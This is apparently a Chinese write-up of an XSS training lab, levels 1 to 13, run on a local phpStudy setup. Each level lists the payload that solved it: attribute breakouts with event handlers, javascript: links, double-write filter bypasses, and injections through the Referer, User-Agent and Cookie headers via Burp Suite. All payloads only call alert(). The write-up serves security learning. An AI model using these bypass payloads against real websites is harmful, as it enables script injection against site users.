XssChallenge挑战1—13关
0x01 环境说明
测试环境为搭建了phpStudy2016的Windows8主机,将网站压缩包解压到phpStudy对应安装路径下的www目录
挑战关卡以网页形式展现,对当前页面成功进行XSS攻击后便会跳转到下一关
0x02 解题过程
1
第一关比较简单,网页没有可输入的地方,但是地址栏出现了参数name,直接在地址构造JS代码
<script><alert(/hello/)</script>
2
第二关出现了文本输入框,于是考虑将input标签进行闭合,再插入JS代码
"><script>alert(/hello/)</script>
3
第三关的形式和第二关一样,我们输入一段验证代码看看它是否有过滤规则
<sCr<scrscRiptipt>ipt>OonN\'\"<>
通过查看源代码发现,value值的闭合并非是在查看器里显示的双引号 “ ”而是单引号‘ ’
而且“和>被转化成了html实体编码,payload无法逃出input标签,所以考虑采用事件驱动
test' onmouseover='alert(/xss/)"
4
拿代码<sCr
通过查看网页源代码,发现value是通过双引号闭合,感觉和上一关的方式差不多
test" onkeydown="alert(/xss/)"
5
通过测试代码发现当前页面对提交的数据大小写不敏感,但是会过滤on和script标签
script标签被过滤,考虑使用javascript伪协议
test"><a href="javascript:alert(/xss/)">123</a>
6
用测试代码测试一下,发现依旧对标签关键字有过滤
但是对大小写不敏感,用上一题的答案修改一下
test"><a hRef="javascript:alert(/xss/)">123</a>
7
通过测试代码发现,对script和on关键字有过滤
但是好像只进行一次过滤,因此考虑使用双写绕过
"><scrscriptipt>alert(/xss/)</scrscriptipt>
8
第八关出现了链接文字,在输入框提交数据后便会将提交内容作为文字的链接,但是会对关键字进行过滤
此时考虑将伪协议进行转码
javascript:alert(/xss/)
9
将测试代码和上一关的代码进行提交,悬停链接文字时发现会提示为链接不合法
考虑到网页的url都是以http/https开头,因此尝试在代码中进行加入。
但是直接将http://加入到代码前面会使代码失效,猜测所需要的并非是一个真正有效的链接地址,尝试将http://加入到alert的()中,或者以注释的形式添加到代码后面
javascript:alert('http://')
javascript:alert(/xss/)//http://
javascript:alert(/xss/)/*http://*/
10
第十关的页面上没有任何可以输入或者点击的地方,观察到地址栏有一个参数keyword,尝试在地址栏输入测试代码,但是页面仍然没有任何改变
查看网页源代码,发现keyword内容中的<> "被转换成了HTML实体编码。但同时还发现了三个隐藏的输入框,参数分别为t_link,t_history,t_sort.
向这些参数逐个尝试提交JS代码,发现无论向t_link和t_history提交任何数据都不会有变化,但是向t_sort提交数据时可以执行payload
?t_sort=" type="text" onmouseover="alert()"
?t_sort=" type="text" onfocus="alert()" autofocus
11
直接查看网页源代码,发现和上一关相比多了一个r_ref参数,并且value值里面的值为通过上一关时的URL
除了t_sort参数可以收到提交的数据以外,其他三个参数无论提交什么都不会接收。但是提交给t_sort的数据会进行过滤
考虑使用BP进行抓包改包,从r_ref的默认value值为上一个网页的URL得到提示,尝试修改请求包中的Referer字段
Referer:" type="button" onclick="alert()"
12
先查看源代码,发现参数t_ua的value里的值是浏览器的指纹信息
祭出BP,修改请求包中的User-Agent字段的内容
" type="button" onmouseover="alert()"
13
先看网页源代码,发现了一个新参数t_cook。虽然value中没有信息,但猜测应该是浏览器中的Cookie信息
用BP修改请求包中的Cookie字段的内容
user=" type="text" onkeyup="alert()"